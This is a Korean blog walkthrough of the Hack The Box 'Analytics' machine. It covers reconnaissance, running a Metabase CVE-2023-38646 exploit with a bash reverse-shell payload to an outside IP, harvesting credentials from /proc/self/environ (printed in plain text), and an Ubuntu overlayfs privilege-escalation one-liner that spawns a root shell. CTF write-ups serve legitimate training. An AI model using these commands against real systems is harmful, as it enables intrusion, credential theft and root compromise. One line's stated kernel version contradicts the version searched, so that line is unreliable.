Oh! JUN
[Hack The Box] analytics 본문
1. 정보 수집
1.1. nmap을 활용한 스캔
nmap -sV 10.10.11.233 -T5
1.2. 웹 디렉터리와 서브 도메인 찾기
dirsearch -u http://analytical.htb/
웹 사이트 디렉터리를 확인한 결과 힌트가 될만한 디렉터리는 보이지 않음.
ffuf -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://analytical.htb/ -H "Host: FUZZ.analytical.htb" -mc 200
서브 도메인 유무 결과 "data.analytical.htb"를 확인할 수 있음.
2. 초기 접근
2.1. 'CVE-2023-38646' 활용해 공격 대상 서버에서 임의의 명령어 실행
http://data.analytical.htb/
"data.analytical.htb"에 접속한 결과 로그인 페이지가 뜨는것을 확인할 수 있음.
https://www.cvedetails.com/vulnerability-list/vendor_id-19475/product_id-51231/Metabase-Metabase.html
'metabase' 관련 CVE를 검색해보니 'CVE-2023-38646' 취약점을 통해 공격대상 서버에서 임의의 명령을 수행할 수 있을것으로 보임.
wget https://raw.githubusercontent.com/Pyr0sec/CVE-2023-38646/main/exploit.py
'CVE-2023-38646' 취약점에서 사용되는 exploit를 다운받음.
python3 exploit.py -u http://data.analytical.htb -t 249fa03d-fd94-4d5b-b94f-b4ebf3df681f -
c "bash -i >& /dev/tcp/10.10.14.63/8888 0>&1"
exploit를 실행시켜서 공격 대상 서버에서 'reverse shell' 명령어를 실행시킴.
-u : 공격 대상
-t : 토큰
-c : 페이로드
nc -lvp 8888
reverse shell 시킬 8888번 포트를 열어놓으면 연결되는것을 확인할 수 있음.
2.2. '/proc/self/environ'에서 실행 중인 프로세스의 환경 변수 확인
cat /proc/self/environ | tr '\0' '\n'
/proc/self/environ 파일은 현재 실행 중인 프로세스의 환경 변수를 저장하고 있는 특별한 파일임. 'metabase'의 서버 계정 정보 'META_USER=metalytices', 'META_PASS=An4lytics_ds20223#'을 확인할 수 있음.
ssh metalytics@10.10.11.233
'metalytics : An4lytics_ds20223#' ssh 연결을 통해 서버에 접속할 수 있음.
cat user.txt
'user.txt' flag를 확인할 수 있음.
3. 권한 상승
3.1. 'CVE-2023-2640, CVE-2023-32629'를 활용해 권한 상승
sudo -l
현재 사용자가 사용할 수 있는 권한을 확인해봤지만 아무런 정보를 얻을 수 없었음.
uname -a
이는 리눅스 커널을 실행하는 'myhostname' 호스트가 x86_64 아키텍처를 사용하며, 커널 버전은 '4.15.0-96-generic'이고, 빌드 날짜는 'Wed Apr 1 03:25:46 UTC 2020'임 |
해당 서버의 모든 시스템 정보를 확인할 수 있음.
6.2.0-25-generic #25~22.04.2-ubuntu privilege escalation vulnerability
해당 시스템의 권한 상승 취약점을 확인하기 위해 구글링 해봄. 'CVE-2023-2640-CVE-2023-32629'에서 ubuntu 커널의 취약점으로 인한 권한 상승을 할 수 있는 취약점을 찾을 수 있었음.
https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh
해당 시스템 관련 exploit를 삽입해서 권한 상승을 시도해볼거임.
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'
마지막으로, 'root.txt' flag를 확인할 수 있음.
'문제풀이 > Hack The Box' 카테고리의 다른 글
[Hack The Box] bizness (0) | 2024.02.19 |
---|---|
[Hack The Box] codify (0) | 2024.02.16 |
[Hack The Box] devvortex (0) | 2024.02.14 |
[Hack The Box] cozyhosting (0) | 2024.02.13 |
[Hack The Box] Keeper (1) | 2024.02.08 |